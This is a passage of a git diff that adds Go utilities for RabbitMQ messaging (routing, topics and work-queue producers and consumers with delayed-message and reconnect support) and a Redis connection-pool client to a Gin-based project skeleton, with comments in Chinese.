CreateConsumer(options ...OptionsConsumer) (*consumer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.Routing.Addr")) + exchangeType := variable.ConfigYml.GetString("RabbitMq.Routing.ExchangeType") + exchangeName := variable.ConfigYml.GetString("RabbitMq.Routing.ExchangeName") + queueName := variable.ConfigYml.GetString("RabbitMq.Routing.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.Routing.Durable") + reconnectInterval := variable.ConfigYml.GetDuration("RabbitMq.Routing.OffLineReconnectIntervalSec") + retryTimes := variable.ConfigYml.GetInt("RabbitMq.Routing.RetryCount") + + if err != nil { + return nil, err + } + + cons := &consumer{ + connect: conn, + exchangeType: exchangeType, + exchangeName: exchangeName, + queueName: queueName, + durable: durable, + connErr: conn.NotifyClose(make(chan *amqp.Error, 1)), + offLineReconnectIntervalSec: reconnectInterval, + retryTimes: retryTimes, + receivedMsgBlocking: make(chan struct{}), + status: 1, + } + // rabbitmq 如果启动了延迟消息队列模式。继续初始化一些参数 + for _, val := range options { + val.apply(cons) + } + return cons, nil +} + +// 定义一个消息队列结构体:Routing 模型 +type consumer struct { + connect *amqp.Connection + exchangeType string + exchangeName string + queueName string + durable bool + occurError error + connErr chan *amqp.Error + routeKey string // 断线重连,结构体内部使用 + callbackForReceived func(receivedData string) // 断线重连,结构体内部使用 + offLineReconnectIntervalSec time.Duration + retryTimes int + callbackOffLine func(err *amqp.Error) // 断线重连,结构体内部使用 + enableDelayMsgPlugin bool // 是否使用延迟队列模式 + receivedMsgBlocking chan struct{} // 接受消息时用于阻塞消息处理函数 + status byte // 客户端状态:1=正常;0=异常 +} + +// Received 接收、处理消息 +func (c *consumer) Received(routeKey string, callbackFunDealMsg func(receivedData string)) { + defer func() { + c.close() + }() + // 将回调函数地址赋值给结构体变量,用于掉线重连使用 + c.routeKey = routeKey + c.callbackForReceived = callbackFunDealMsg + + go func(key string) { + + ch, err := c.connect.Channel() + c.occurError = error_record.ErrorDeal(err) + defer func() { + _ = ch.Close() + }() + + // 声明exchange交换机 + err = ch.ExchangeDeclare( + c.exchangeName, //exchange name + c.exchangeType, //exchange kind + c.durable, //数据是否持久化 + !c.durable, //所有连接断开时,交换机是否删除 + false, + false, + nil, + ) + // 声明队列 + queue, err := ch.QueueDeclare( + c.queueName, + c.durable, + true, + false, + false, + nil, + ) + c.occurError = error_record.ErrorDeal(err) + + //队列绑定 + err = ch.QueueBind( + queue.Name, + key, // routing 模式,生产者会将消息投递至交换机的route_key, 消费者匹配不同的key获取消息、处理 + c.exchangeName, + false, + nil, + ) + c.occurError = error_record.ErrorDeal(err) + if err != nil { + return + } + + msgs, err := ch.Consume( + queue.Name, // 队列名称 + "", // 消费者标记,请确保在一个消息频道唯一 + true, //是否自动确认,这里设置为 true,自动确认 + false, //是否私有队列,false标识允许多个 consumer 向该队列投递消息,true 表示独占 + false, //RabbitMQ不支持noLocal标志。 + false, // 队列如果已经在服务器声明,设置为 true ,否则设置为 false; + nil, + ) + c.occurError = error_record.ErrorDeal(err) + if err == nil { + for { + select { + case msg := <-msgs: + // 消息处理 + if c.status == 1 && len(msg.Body) > 0 { + callbackFunDealMsg(string(msg.Body)) + } else if c.status == 0 { + return + } + } + } + } else { + return + } + }(routeKey) + + if _, isOk := <-c.receivedMsgBlocking; isOk { + c.status = 0 + close(c.receivedMsgBlocking) + } + +} + +// OnConnectionError 消费者端,掉线重连失败后的错误回调 +func (c *consumer) OnConnectionError(callbackOfflineErr func(err *amqp.Error)) { + c.callbackOffLine = callbackOfflineErr + go func() { + select { + case err := <-c.connErr: + var i = 1 + for i = 1; i <= c.retryTimes; i++ { + // 自动重连机制 + time.Sleep(c.offLineReconnectIntervalSec * time.Second) + // 发生连接错误时,中断原来的消息监听(包括关闭连接) + if c.status == 1 { + c.receivedMsgBlocking <- struct{}{} + } + conn, err := CreateConsumer() + if err != nil { + continue + } else { + go func() { + c.connErr = conn.connect.NotifyClose(make(chan *amqp.Error, 1)) + go conn.OnConnectionError(c.callbackOffLine) + conn.Received(c.routeKey, c.callbackForReceived) + }() + // 新的客户端重连成功后,释放旧的回调函数 - OnConnectionError + if c.status == 0 { + return + } + break + } + } + if i > c.retryTimes { + callbackOfflineErr(err) + // 如果超过最大重连次数,同样需要释放回调函数 - OnConnectionError + if c.status == 0 { + return + } + } + } + }() +} + +// close 关闭连接 +func (c *consumer) close() { + _ = c.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/routing/options.go b/GinSkeleton/app/utils/rabbitmq/routing/options.go new file mode 100644 index 0000000..5354c57 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/routing/options.go @@ -0,0 +1,62 @@ +package routing + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" +) + +// 等 go 泛型稳定以后,生产者和消费者初始化参数的设置,本段代码就可以继续精简 +// 目前 apply(*producer) 的参数只能固定为生产者或者消费者其中之一的具体类型 + +// 1.生产者初始化参数定义 + +// OptionsProd 定义动态设置参数接口 +type OptionsProd interface { + apply(*producer) +} + +// OptionFunc 以函数形式实现上面的接口 +type OptionFunc func(*producer) + +func (f OptionFunc) apply(prod *producer) { + f(prod) +} + +// SetProdMsgDelayParams 开发者设置生产者初始化时的参数 +func SetProdMsgDelayParams(enableMsgDelayPlugin bool) OptionsProd { + return OptionFunc(func(p *producer) { + p.enableDelayMsgPlugin = enableMsgDelayPlugin + p.exchangeType = "x-delayed-message" + p.args = amqp.Table{ + "x-delayed-type": "direct", + } + p.exchangeName = variable.ConfigYml.GetString("RabbitMq.Routing.DelayedExchangeName") + // 延迟消息队列,交换机、消息全部设置为持久 + p.durable = true + }) +} + +// 2.消费者端初始化参数定义 + +// OptionsConsumer 定义动态设置参数接口 +type OptionsConsumer interface { + apply(*consumer) +} + +// OptionsConsumerFunc 以函数形式实现上面的接口 +type OptionsConsumerFunc func(*consumer) + +func (f OptionsConsumerFunc) apply(cons *consumer) { + f(cons) +} + +// SetConsMsgDelayParams 开发者设置消费者端初始化时的参数 +func SetConsMsgDelayParams(enableDelayMsgPlugin bool) OptionsConsumer { + return OptionsConsumerFunc(func(c *consumer) { + c.enableDelayMsgPlugin = enableDelayMsgPlugin + c.exchangeType = "x-delayed-message" + c.exchangeName = variable.ConfigYml.GetString("RabbitMq.Routing.DelayedExchangeName") + // 延迟消息队列,交换机、消息全部设置为持久 + c.durable = true + }) +} diff --git a/GinSkeleton/app/utils/rabbitmq/routing/producer.go b/GinSkeleton/app/utils/rabbitmq/routing/producer.go new file mode 100644 index 0000000..e2d248a --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/routing/producer.go @@ -0,0 +1,107 @@ +package routing + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" +) + +// CreateProducer 创建一个生产者 +func CreateProducer(options ...OptionsProd) (*producer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.Routing.Addr")) + exchangeType := variable.ConfigYml.GetString("RabbitMq.Routing.ExchangeType") + exchangeName := variable.ConfigYml.GetString("RabbitMq.Routing.ExchangeName") + queueName := variable.ConfigYml.GetString("RabbitMq.Routing.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.Routing.Durable") + + if err != nil { + variable.ZapLog.Error(err.Error()) + return nil, err + } + + prod := &producer{ + connect: conn, + exchangeType: exchangeType, + exchangeName: exchangeName, + queueName: queueName, + durable: durable, + } + // 加载用户设置的参数 + for _, val := range options { + val.apply(prod) + } + return prod, nil +} + +// 定义一个消息队列结构体:Routing 模型 +type producer struct { + connect *amqp.Connection + exchangeType string + exchangeName string + queueName string + durable bool + occurError error + enableDelayMsgPlugin bool // 是否使用延迟队列模式 + args amqp.Table +} + +// Send 发送消息 +// 参数: +// routeKey 路由键、 +// data 发送的数据、 +// delayMillisecond 延迟时间(毫秒),只有启用了消息延迟插件才有效果 +func (p *producer) Send(routeKey, data string, delayMillisecond int) bool { + + // 获取一个频道 + ch, err := p.connect.Channel() + p.occurError = error_record.ErrorDeal(err) + defer func() { + _ = ch.Close() + }() + + // 声明交换机,该模式生产者只负责将消息投递到交换机即可 + err = ch.ExchangeDeclare( + p.exchangeName, //交换器名称 + p.exchangeType, //direct(定向消息), 按照路由键名匹配消息 + p.durable, //消息是否持久化 + !p.durable, //交换器是否自动删除 + false, + false, + p.args, + ) + p.occurError = error_record.ErrorDeal(err) + + // 如果队列的声明是持久化的,那么消息也设置为持久化 + msgPersistent := amqp.Transient + if p.durable { + msgPersistent = amqp.Persistent + } + // 投递消息 + if err == nil { + err = ch.Publish( + p.exchangeName, // 交换机名称 + routeKey, // direct 模式默认为空即可 + false, + false, + amqp.Publishing{ + DeliveryMode: msgPersistent, //消息是否持久化,这里与保持保持一致即可 + ContentType: "text/plain", + Body: []byte(data), + Headers: amqp.Table{ + "x-delay": delayMillisecond, // 延迟时间: 毫秒 + }, + }) + } + p.occurError = error_record.ErrorDeal(err) + if p.occurError != nil { // 发生错误,返回 false + return false + } else { + return true + } +} + +// Close 发送完毕手动关闭,这样不影响send多次发送数据 +func (p *producer) Close() { + _ = p.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/topics/consumer.go b/GinSkeleton/app/utils/rabbitmq/topics/consumer.go new file mode 100644 index 0000000..2d9cf90 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/topics/consumer.go @@ -0,0 +1,191 @@ +package topics + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" + "time" +) + +func CreateConsumer(options ...OptionsConsumer) (*consumer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.Topics.Addr")) + exchangeType := variable.ConfigYml.GetString("RabbitMq.Topics.ExchangeType") + exchangeName := variable.ConfigYml.GetString("RabbitMq.Topics.ExchangeName") + queueName := variable.ConfigYml.GetString("RabbitMq.Topics.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.Topics.Durable") + reconnectInterval := variable.ConfigYml.GetDuration("RabbitMq.Topics.OffLineReconnectIntervalSec") + retryTimes := variable.ConfigYml.GetInt("RabbitMq.Topics.RetryCount") + + if err != nil { + return nil, err + } + + cons := &consumer{ + connect: conn, + exchangeType: exchangeType, + exchangeName: exchangeName, + queueName: queueName, + durable: durable, + connErr: conn.NotifyClose(make(chan *amqp.Error, 1)), + offLineReconnectIntervalSec: reconnectInterval, + retryTimes: retryTimes, + receivedMsgBlocking: make(chan struct{}), + status: 1, + } + // 加载用户设置的参数 + for _, val := range options { + val.apply(cons) + } + return cons, nil +} + +// 定义一个消息队列结构体:Topics 模型 +type consumer struct { + connect *amqp.Connection + exchangeType string + exchangeName string + queueName string + durable bool + occurError error // 记录初始化过程中的错误 + connErr chan *amqp.Error + routeKey string // 断线重连,结构体内部使用 + callbackForReceived func(receivedData string) // 断线重连,结构体内部使用 + offLineReconnectIntervalSec time.Duration + retryTimes int + callbackOffLine func(err *amqp.Error) // 断线重连,结构体内部使用 + enableDelayMsgPlugin bool // 是否使用延迟队列模式 + receivedMsgBlocking chan struct{} // 接受消息时用于阻塞消息处理函数 + status byte // 客户端状态:1=正常;0=异常 + +} + +// Received 接收、处理消息 +func (c *consumer) Received(routeKey string, callbackFunDealMsg func(receivedData string)) { + defer func() { + c.close() + }() + // 将回调函数地址赋值给结构体变量,用于掉线重连使用 + c.routeKey = routeKey + c.callbackForReceived = callbackFunDealMsg + + go func(key string) { + + ch, err := c.connect.Channel() + c.occurError = error_record.ErrorDeal(err) + defer func() { + _ = ch.Close() + }() + + // 声明exchange交换机 + err = ch.ExchangeDeclare( + c.exchangeName, //exchange name + c.exchangeType, //exchange kind + c.durable, //数据是否持久化 + !c.durable, //所有连接断开时,交换机是否删除 + false, + false, + nil, + ) + // 声明队列 + queue, err := ch.QueueDeclare( + c.queueName, + c.durable, + true, + false, + false, + nil, + ) + c.occurError = error_record.ErrorDeal(err) + + //队列绑定 + err = ch.QueueBind( + queue.Name, + key, // Topics 模式,生产者会将消息投递至交换机的route_key, 消费者匹配不同的key获取消息、处理 + c.exchangeName, + false, + nil, + ) + c.occurError = error_record.ErrorDeal(err) + if err != nil { + return + } + msgs, err := ch.Consume( + queue.Name, // 队列名称 + "", // 消费者标记,请确保在一个消息频道唯一 + true, //是否自动确认,这里设置为 true,自动确认 + false, //是否私有队列,false标识允许多个 consumer 向该队列投递消息,true 表示独占 + false, //RabbitMQ不支持noLocal标志。 + false, // 队列如果已经在服务器声明,设置为 true ,否则设置为 false; + nil, + ) + c.occurError = error_record.ErrorDeal(err) + if err == nil { + for { + select { + case msg := <-msgs: + // 消息处理 + if c.status == 1 && len(msg.Body) > 0 { + callbackFunDealMsg(string(msg.Body)) + } else if c.status == 0 { + return + } + } + } + } else { + return + } + }(routeKey) + + if _, isOk := <-c.receivedMsgBlocking; isOk { + c.status = 0 + close(c.receivedMsgBlocking) + } + +} + +// OnConnectionError 消费者端,掉线重连失败后的错误回调 +func (c *consumer) OnConnectionError(callbackOfflineErr func(err *amqp.Error)) { + c.callbackOffLine = callbackOfflineErr + go func() { + select { + case err := <-c.connErr: + var i = 1 + for i = 1; i <= c.retryTimes; i++ { + // 自动重连机制 + time.Sleep(c.offLineReconnectIntervalSec * time.Second) + // 发生连接错误时,中断原来的消息监听(包括关闭连接) + if c.status == 1 { + c.receivedMsgBlocking <- struct{}{} + } + conn, err := CreateConsumer() + if err != nil { + continue + } else { + go func() { + c.connErr = conn.connect.NotifyClose(make(chan *amqp.Error, 1)) + go conn.OnConnectionError(c.callbackOffLine) + conn.Received(c.routeKey, c.callbackForReceived) + }() + // 新的客户端重连成功后,释放旧的回调函数 - OnConnectionError + if c.status == 0 { + return + } + break + } + } + if i > c.retryTimes { + callbackOfflineErr(err) + // 如果超过最大重连次数,同样需要释放回调函数 - OnConnectionError + if c.status == 0 { + return + } + } + } + }() +} + +// close 关闭连接 +func (c *consumer) close() { + _ = c.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/topics/options.go b/GinSkeleton/app/utils/rabbitmq/topics/options.go new file mode 100644 index 0000000..67b5060 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/topics/options.go @@ -0,0 +1,62 @@ +package topics + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" +) + +// 等 go 泛型稳定以后,生产者和消费者初始化参数的设置,本段代码就可以继续精简 +// 目前 apply(*producer) 的参数只能固定为生产者或者消费者其中之一的具体类型 + +// 1.生产者初始化参数定义 + +// OptionsProd 定义动态设置参数接口 +type OptionsProd interface { + apply(*producer) +} + +// OptionFunc 以函数形式实现上面的接口 +type OptionFunc func(*producer) + +func (f OptionFunc) apply(prod *producer) { + f(prod) +} + +// SetProdMsgDelayParams 开发者设置生产者初始化时的参数 +func SetProdMsgDelayParams(enableMsgDelayPlugin bool) OptionsProd { + return OptionFunc(func(p *producer) { + p.enableDelayMsgPlugin = enableMsgDelayPlugin + p.exchangeType = "x-delayed-message" + p.args = amqp.Table{ + "x-delayed-type": "topic", + } + p.exchangeName = variable.ConfigYml.GetString("RabbitMq.Topics.DelayedExchangeName") + // 延迟消息队列,交换机、消息全部设置为持久 + p.durable = true + }) +} + +// 2.消费者端初始化参数定义 + +// OptionsConsumer 定义动态设置参数接口 +type OptionsConsumer interface { + apply(*consumer) +} + +// OptionsConsumerFunc 以函数形式实现上面的接口 +type OptionsConsumerFunc func(*consumer) + +func (f OptionsConsumerFunc) apply(cons *consumer) { + f(cons) +} + +// SetConsMsgDelayParams 开发者设置消费者端初始化时的参数 +func SetConsMsgDelayParams(enableDelayMsgPlugin bool) OptionsConsumer { + return OptionsConsumerFunc(func(c *consumer) { + c.enableDelayMsgPlugin = enableDelayMsgPlugin + c.exchangeType = "x-delayed-message" + c.exchangeName = variable.ConfigYml.GetString("RabbitMq.Topics.DelayedExchangeName") + // 延迟消息队列,交换机、消息全部设置为持久 + c.durable = true + }) +} diff --git a/GinSkeleton/app/utils/rabbitmq/topics/producer.go b/GinSkeleton/app/utils/rabbitmq/topics/producer.go new file mode 100644 index 0000000..748772e --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/topics/producer.go @@ -0,0 +1,107 @@ +package topics + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" +) + +// CreateProducer 创建一个生产者 +func CreateProducer(options ...OptionsProd) (*producer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.Topics.Addr")) + exchangeType := variable.ConfigYml.GetString("RabbitMq.Topics.ExchangeType") + exchangeName := variable.ConfigYml.GetString("RabbitMq.Topics.ExchangeName") + queueName := variable.ConfigYml.GetString("RabbitMq.Topics.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.Topics.Durable") + + if err != nil { + variable.ZapLog.Error(err.Error()) + return nil, err + } + + prod := &producer{ + connect: conn, + exchangeType: exchangeType, + exchangeName: exchangeName, + queueName: queueName, + durable: durable, + } + // 加载用户设置的参数 + for _, val := range options { + val.apply(prod) + } + return prod, nil +} + +// 定义一个消息队列结构体:Topics 模型 +type producer struct { + connect *amqp.Connection + exchangeType string + exchangeName string + queueName string + durable bool + occurError error + enableDelayMsgPlugin bool // 是否使用延迟队列模式 + args amqp.Table +} + +// Send 发送消息 +// 参数: +// routeKey 路由键、 +// data 发送的数据、 +// delayMillisecond 延迟时间(毫秒),只有启用了消息延迟插件才有效果 +func (p *producer) Send(routeKey, data string, delayMillisecond int) bool { + + // 获取一个频道 + ch, err := p.connect.Channel() + p.occurError = error_record.ErrorDeal(err) + defer func() { + _ = ch.Close() + }() + + // 声明交换机,该模式生产者只负责将消息投递到交换机即可 + err = ch.ExchangeDeclare( + p.exchangeName, //交换器名称 + p.exchangeType, //topic模式 + p.durable, //交换机是否持久化 + !p.durable, //交换器是否自动删除 + false, + false, + p.args, + ) + p.occurError = error_record.ErrorDeal(err) + + // 如果交换机是持久化的,那么消息也设置为持久化 + msgPersistent := amqp.Transient + if p.durable { + msgPersistent = amqp.Persistent + } + // 投递消息 + if err == nil { + err = ch.Publish( + p.exchangeName, // 交换机名称 + routeKey, // topics 模式默认为空即可 + false, + false, + amqp.Publishing{ + DeliveryMode: msgPersistent, //消息是否持久化,这里与保持保持一致即可 + ContentType: "text/plain", + Body: []byte(data), + Headers: amqp.Table{ + "x-delay": delayMillisecond, // 延迟时间: 毫秒 + }, + }) + } + p.occurError = error_record.ErrorDeal(err) + if p.occurError != nil { // 发生错误,返回 false + return false + } else { + return true + } +} + +// Close 发送完毕手动关闭,这样不影响send多次发送数据 +func (p *producer) Close() { + _ = p.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/work_queue/consumer.go b/GinSkeleton/app/utils/rabbitmq/work_queue/consumer.go new file mode 100644 index 0000000..130c460 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/work_queue/consumer.go @@ -0,0 +1,167 @@ +package work_queue + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" + "time" +) + +func CreateConsumer() (*consumer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.WorkQueue.Addr")) + queueName := variable.ConfigYml.GetString("RabbitMq.WorkQueue.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.WorkQueue.Durable") + chanNumber := variable.ConfigYml.GetInt("RabbitMq.WorkQueue.ConsumerChanNumber") + reconnectInterval := variable.ConfigYml.GetDuration("RabbitMq.WorkQueue.OffLineReconnectIntervalSec") + retryTimes := variable.ConfigYml.GetInt("RabbitMq.WorkQueue.RetryCount") + + if err != nil { + return nil, err + } + + cons := &consumer{ + connect: conn, + queueName: queueName, + durable: durable, + chanNumber: chanNumber, + connErr: conn.NotifyClose(make(chan *amqp.Error, 1)), + offLineReconnectIntervalSec: reconnectInterval, + retryTimes: retryTimes, + receivedMsgBlocking: make(chan struct{}), + status: 1, + } + return cons, nil +} + +// 定义一个消息队列结构体:WorkQueue 模型 +type consumer struct { + connect *amqp.Connection + queueName string + durable bool + chanNumber int + occurError error + connErr chan *amqp.Error + callbackForReceived func(receivedData string) // 断线重连,结构体内部使用 + offLineReconnectIntervalSec time.Duration + retryTimes int + callbackOffLine func(err *amqp.Error) // 断线重连,结构体内部使用 + receivedMsgBlocking chan struct{} // 接受消息时用于阻塞消息处理函数 + status byte // 客户端状态:1=正常;0=异常 +} + +// Received 接收、处理消息 +func (c *consumer) Received(callbackFunDealMsg func(receivedData string)) { + defer func() { + c.close() + }() + // 将回调函数地址赋值给结构体变量,用于掉线重连使用 + c.callbackForReceived = callbackFunDealMsg + + for i := 1; i <= c.chanNumber; i++ { + go func(chanNo int) { + + ch, err := c.connect.Channel() + c.occurError = error_record.ErrorDeal(err) + defer func() { + _ = ch.Close() + }() + + q, err := ch.QueueDeclare( + c.queueName, + c.durable, + true, + false, + false, + nil, + ) + c.occurError = error_record.ErrorDeal(err) + + err = ch.Qos( + 1, // 大于0,服务端将会传递该数量的消息到消费者端进行待处理(通俗地说,就是消费者端积压消息的数量最大值) + 0, // prefetch size + false, // false 表示本连接只针对本频道有效,true表示应用到本连接的所有频道 + ) + c.occurError = error_record.ErrorDeal(err) + if err != nil { + return + } + msgs, err := ch.Consume( + q.Name, + "", // 消费者标记,请确保在一个消息频道唯一 + true, //是否自动确认,这里设置为 true 自动确认,如果是 false 后面需要调用 ack 函数确认 + false, //是否私有队列,false标识允许多个 consumer 向该队列投递消息,true 表示独占 + false, //RabbitMQ不支持noLocal标志。 + false, // 队列如果已经在服务器声明,设置为 true ,否则设置为 false; + nil, + ) + c.occurError = error_record.ErrorDeal(err) + if err == nil { + for { + select { + case msg := <-msgs: + // 消息处理 + if c.status == 1 && len(msg.Body) > 0 { + callbackFunDealMsg(string(msg.Body)) + } else if c.status == 0 { + return + } + } + } + } else { + return + } + }(i) + } + if _, isOk := <-c.receivedMsgBlocking; isOk { + c.status = 0 + close(c.receivedMsgBlocking) + } + +} + +// OnConnectionError 消费者端,掉线重连失败后的错误回调 +func (c *consumer) OnConnectionError(callbackOfflineErr func(err *amqp.Error)) { + c.callbackOffLine = callbackOfflineErr + go func() { + select { + case err := <-c.connErr: + var i = 1 + for i = 1; i <= c.retryTimes; i++ { + // 自动重连机制 + time.Sleep(c.offLineReconnectIntervalSec * time.Second) + // 发生连接错误时,中断原来的消息监听(包括关闭连接) + if c.status == 1 { + c.receivedMsgBlocking <- struct{}{} + } + conn, err := CreateConsumer() + if err != nil { + continue + } else { + go func() { + c.connErr = conn.connect.NotifyClose(make(chan *amqp.Error, 1)) + go conn.OnConnectionError(c.callbackOffLine) + conn.Received(c.callbackForReceived) + }() + // 新的客户端重连成功后,释放旧的回调函数 - OnConnectionError + if c.status == 0 { + return + } + break + } + } + if i > c.retryTimes { + callbackOfflineErr(err) + // 如果超过最大重连次数,同样需要释放回调函数 - OnConnectionError + if c.status == 0 { + return + } + } + } + }() +} + +// close 关闭连接 +func (c *consumer) close() { + _ = c.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/work_queue/producer.go b/GinSkeleton/app/utils/rabbitmq/work_queue/producer.go new file mode 100644 index 0000000..1ba02e0 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/work_queue/producer.go @@ -0,0 +1,88 @@ +package work_queue + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" +) + +// CreateProducer 创建一个生产者 +func CreateProducer() (*producer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.WorkQueue.Addr")) + queueName := variable.ConfigYml.GetString("RabbitMq.WorkQueue.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.WorkQueue.Durable") + + if err != nil { + variable.ZapLog.Error(err.Error()) + return nil, err + } + + prod := &producer{ + connect: conn, + queueName: queueName, + durable: durable, + } + return prod, nil +} + +// 定义一个消息队列结构体:helloworld 模型 +type producer struct { + connect *amqp.Connection + queueName string + durable bool + occurError error +} + +func (p *producer) Send(data string) bool { + + // 获取一个频道 + ch, err := p.connect.Channel() + p.occurError = error_record.ErrorDeal(err) + + defer func() { + _ = ch.Close() + }() + + // 声明消息队列 + _, err = ch.QueueDeclare( + p.queueName, // 队列名称 + p.durable, //队列是否持久化,false模式数据全部处于内存,true会保存在erlang自带数据库,但是影响速度 + !p.durable, //生产者、消费者全部断开时是否删除队列。一般来说,数据需要持久化,就不删除;非持久化,就删除 + false, //是否私有队列,false标识允许多个 consumer 向该队列投递消息,true 表示独占 + false, // 队列如果已经在服务器声明,设置为 true ,否则设置为 false; + nil, // 相关参数 + ) + p.occurError = error_record.ErrorDeal(err) + + // 如果队列的声明是持久化的,那么消息也设置为持久化 + msgPersistent := amqp.Transient + if p.durable { + msgPersistent = amqp.Persistent + } + + // 投递消息 + if err == nil { + err = ch.Publish( + "", // helloworld 、workqueue 模式设置为空字符串,表示使用默认交换机 + p.queueName, // 注意:简单模式 key 表示队列名称 + false, + false, + amqp.Publishing{ + DeliveryMode: msgPersistent, //消息是否持久化,这里与保持保持一致即可 + ContentType: "text/plain", + Body: []byte(data), + }) + } + p.occurError = error_record.ErrorDeal(err) + if p.occurError != nil { // 发生错误,返回 false + return false + } else { + return true + } +} + +// Close 发送完毕手动关闭,这样不影响send多次发送数据 +func (p *producer) Close() { + _ = p.connect.Close() +} diff --git a/GinSkeleton/app/utils/redis_factory/client.go b/GinSkeleton/app/utils/redis_factory/client.go new file mode 100644 index 0000000..e430112 --- /dev/null +++ b/GinSkeleton/app/utils/redis_factory/client.go @@ -0,0 +1,162 @@ +package redis_factory + +import ( + "github.com/gomodule/redigo/redis" + "go.uber.org/zap" + "goskeleton/app/core/event_manage" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/utils/yml_config" + "goskeleton/app/utils/yml_config/ymlconfig_interf" + "time" +) + +var redisPool *redis.Pool +var configYml ymlconfig_interf.YmlConfigInterf + +// 处于程序底层的包,init 初始化的代码段的执行会优先于上层代码,因此这里读取配置项不能使用全局配置项变量 +func init() { + configYml = yml_config.CreateYamlFactory() + redisPool = initRedisClientPool() +} +func initRedisClientPool() *redis.Pool { + redisPool = &redis.Pool{ + MaxIdle: configYml.GetInt("Redis.MaxIdle"), //最大空闲数 + MaxActive: configYml.GetInt("Redis.MaxActive"), //最大活跃数 + IdleTimeout: configYml.GetDuration("Redis.IdleTimeout") * time.Second, //最大的空闲连接等待时间,超过此时间后,空闲连接将被关闭 + Dial: func() (redis.Conn, error) { + //此处对应redis ip及端口号 + conn, err := redis.Dial("tcp", configYml.GetString("Redis.Host")+":"+configYml.GetString("Redis.Port")) + if err != nil { + variable.ZapLog.Error(my_errors.ErrorsRedisInitConnFail + err.Error()) + return nil, err + } + auth := configYml.GetString("Redis.Auth") //通过配置项设置redis密码 + if len(auth) >= 1 { + if _, err := conn.Do("AUTH", auth); err != nil { + _ = conn.Close() + variable.ZapLog.Error(my_errors.ErrorsRedisAuthFail + err.Error()) + } + } + _, _ = conn.Do("select", configYml.GetInt("Redis.IndexDb")) + return conn, err + }, + } + // 将redis的关闭事件,注册在全局事件统一管理器,由程序退出时统一销毁 + eventManageFactory := event_manage.CreateEventManageFactory() + if _, exists := eventManageFactory.Get(variable.EventDestroyPrefix + "Redis"); exists == false { + eventManageFactory.Set(variable.EventDestroyPrefix+"Redis", func(args ...interface{}) { + _ = redisPool.Close() + }) + } + return redisPool +} + +// 从连接池获取一个redis连接 +func GetOneRedisClient() *RedisClient { + maxRetryTimes := configYml.GetInt("Redis.ConnFailRetryTimes") + var oneConn redis.Conn + for i := 1; i <= maxRetryTimes; i++ { + oneConn = redisPool.Get() + // 首先通过执行一个获取时间的命令检测连接是否有效,如果已有的连接无法执行命令,则重新尝试连接到redis服务器获取新的连接池地址 + // 连接不可用可能会发生的场景主要有:服务端redis重启、客户端网络在有线和无线之间切换等 + if _, replyErr := oneConn.Do("time"); replyErr != nil { + //fmt.Printf("连接已经失效(出错):%+v\n", replyErr.Error()) + // 如果已有的redis连接池获取连接出错(官方库的说法是连接不可用),那么继续使用从新初始化连接池 + initRedisClientPool() + oneConn = redisPool.Get() + } + + if err := oneConn.Err(); err != nil { + //variable.ZapLog.Error("Redis:网络中断,开始重连进行中..." , zap.Error(oneConn.Err())) + if i == maxRetryTimes { + variable.ZapLog.Error(my_errors.ErrorsRedisGetConnFail, zap.Error(oneConn.Err())) + return nil + } + //如果出现网络短暂的抖动,短暂休眠后,支持自动重连 + time.Sleep(time.Second * configYml.GetDuration("Redis.ReConnectInterval")) + } else { + break + } + } + return &RedisClient{oneConn} +} + +// 定义一个redis客户端结构体 +type RedisClient struct { + client redis.Conn +} + +// 为redis-go 客户端封装统一操作函数入口 +func (r *RedisClient) Execute(cmd string, args ...interface{}) (interface{}, error) { + return r.client.Do(cmd, args...) +} + +// 释放连接到连接池 +func (r *RedisClient) ReleaseOneRedisClient() { + _ = r.client.Close() +} + +// 封装几个数据类型转换的函数 + +// bool 类型转换 +func (r *RedisClient) Bool(reply interface{}, err error) (bool, error) { + return redis.Bool(reply, err) +} + +// string 类型转换 +func (r *RedisClient) String(reply interface{}, err error) (string, error) { + return redis.String(reply, err) +} + +// string map 类型转换 +func (r *RedisClient) StringMap(reply interface{}, err error) (map[string]string, error) { + return redis.StringMap(reply, err) +} + +// strings 类型转换 +func (r *RedisClient) Strings(reply interface{}, err error) 